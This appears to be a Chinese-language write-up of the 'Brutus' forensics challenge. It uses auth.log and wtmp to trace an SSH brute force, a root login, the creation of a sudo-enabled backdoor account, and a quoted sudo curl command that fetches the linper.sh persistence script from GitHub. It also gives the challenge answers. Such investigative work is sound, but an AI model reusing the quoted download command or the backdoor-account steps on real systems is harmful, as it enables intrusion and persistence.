Brutus
在这个非常简单的 Sherlock 中,您将熟悉 Unix auth.log 和 wtmp 日志。我们将探索一个场景,其中 Confluence 服务器通过其 SSH 服务被暴力破解。获得对服务器的访问权限后,攻击者执行了其他活动,我们可以使用 auth.log 进行跟踪。尽管 auth.log 主要用于暴力分析,但我们将在调查中深入研究此工件的全部潜力,包括权限提升、持久性方面,甚至对命令执行的一些可见性。
auth.log与wtmp
auth.log
- 功能: 记录与身份验证相关的日志,包括登录尝试、认证成功或失败、sudo 操作等。
- 文件路径:
- 通常位于
/var/log/auth.log
(Debian/Ubuntu 系列)。 - 在 Red Hat/CentOS 系列中,类似信息可能记录在
/var/log/secure
。
- 通常位于
- 内容格式: 文本文件,可用
cat
、less
或其他文本工具直接查看。 - 记录的事件:
- 登录成功和失败(通过 SSH、本地终端等)。
- PAM 模块事件。
sudo
使用。- 公钥验证失败。
- 与认证相关的系统进程日志(如
sshd
)。
- 用途:
- 排查登录失败或未授权的尝试。
- 审计和监控用户行为。
- 识别潜在的安全问题(如暴力破解攻击)。
wtmp
- 功能: 记录用户登录、注销、系统启动/关机等事件。
- 文件路径:
- 通常位于
/var/log/wtmp
。
- 通常位于
- 内容格式: 二进制文件,不能直接用文本工具查看。
- 记录的事件:
- 成功的用户登录。
- 用户注销。
- 系统启动和关机。
- 会话信息。
- 用途:
- 查看系统用户活动记录。
- 审计登录时间、会话时长等。
- 分析用户行为趋势。
Task 1
Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?
分析auth.log,您能否识别攻击者用于实施暴力攻击的 IP 地址?
大量来自65.2.161.68
的ssh登录尝试,明显在爆破ssh
Task 2
The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?
暴力破解尝试成功,攻击者获得了对服务器上帐户的访问权限。这个账户的用户名是什么?
Accepted通过验证
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
root
Task 3
Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?
Linux用户登录信息放在三个文件中:
-
/var/run/utmp:记录当前正在登录系统的用户信息,默认由who和w记录当前登录用户的信息,uptime记录系统启动时间;
-
/var/log/wtmp:记录当前正在登录和历史登录系统的用户信息,默认由last命令查看;
-
/var/log/btmp:记录失败的登录尝试信息,默认由lastb命令查看。
三者均为二进制数据文件,结构完全相同,由/usr/include/bits/utmp.h文件定义了这三个文件的结构体。
lastlog、last、lastb、ac、who、w、users、utmpdump等可查看登录日志
读取指定文件
utmpdump [FILE]
last -f [FILE] #默认读取/var/log/wtmp
lastb -f [FILE] #默认读取/var/log/btmp
who [FILE]
utmpdump
可以发现前面验证时间(06:32:44)与打开终端时间
2024-03-06 06:32:45
Task 4
SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
登录时将跟踪 SSH 登录会话并为其分配会话编号。为问题 2 中的用户帐户分配给攻击者会话的会话号是什么?
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
37
Task 5
The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
cyberjunkie
创建用户组:
- 创建了一个名为
cyberjunkie
的用户组,组 ID(GID)为1002
,并将其添加到了/etc/group
和/etc/gshadow
文件中。
创建用户:
-
创建了一个名为
cyberjunkie
的用户,其属性如下:
- 用户 ID(UID):
1002
- 组 ID(GID):
1002
- 主目录:
/home/cyberjunkie
- 默认 shell:
/bin/bash
- 用户 ID(UID):
设置密码:
- 成功为用户
cyberjunkie
设置了密码。
权限提升:
- 将用户
cyberjunkie
添加到sudo
组和其对应的 shadow 组中,从而赋予该用户管理员权限。
Task 6
What is the MITRE ATT&CK sub-technique ID used for persistence?
用于持久性的 MITRE ATT&CK 子技术 ID 是什么?
Task 7
How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)
根据之前确认的身份验证时间和会话在 auth.log 内结束,攻击者的第一个 SSH 会话持续了多长时间?(秒)
根据auth.log以为是从06:32:44-06:37:24,但实际auth.log主要记录与身份验证相关的日志
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Mar 6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:36:01 ip-172-31-35-28 CRON[2640]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:36:01 ip-172-31-35-28 CRON[2641]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:36:01 ip-172-31-35-28 CRON[2641]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:36:01 ip-172-31-35-28 CRON[2640]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:37:01 ip-172-31-35-28 CRON[2654]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:37:01 ip-172-31-35-28 CRON[2653]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:37:01 ip-172-31-35-28 CRON[2654]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:37:01 ip-172-31-35-28 CRON[2653]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
而wtmp记录会话信息
可以看到第二条是06:32:45-06:37:24,共计279
Task 8
The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
攻击者登录了他们的后门帐户,并利用他们的更高权限下载了脚本。使用 sudo 执行的完整命令是什么?
在auth.log中
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
有意思的是,虽然 auth.log 不是用于跟踪命令执行(如 auditd 等)的对象,但当使用 sudo 关键字执行命令时,该命令会auth.log登录,因为系统需要验证帐户权限才能获得该命令的根级别权限。
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh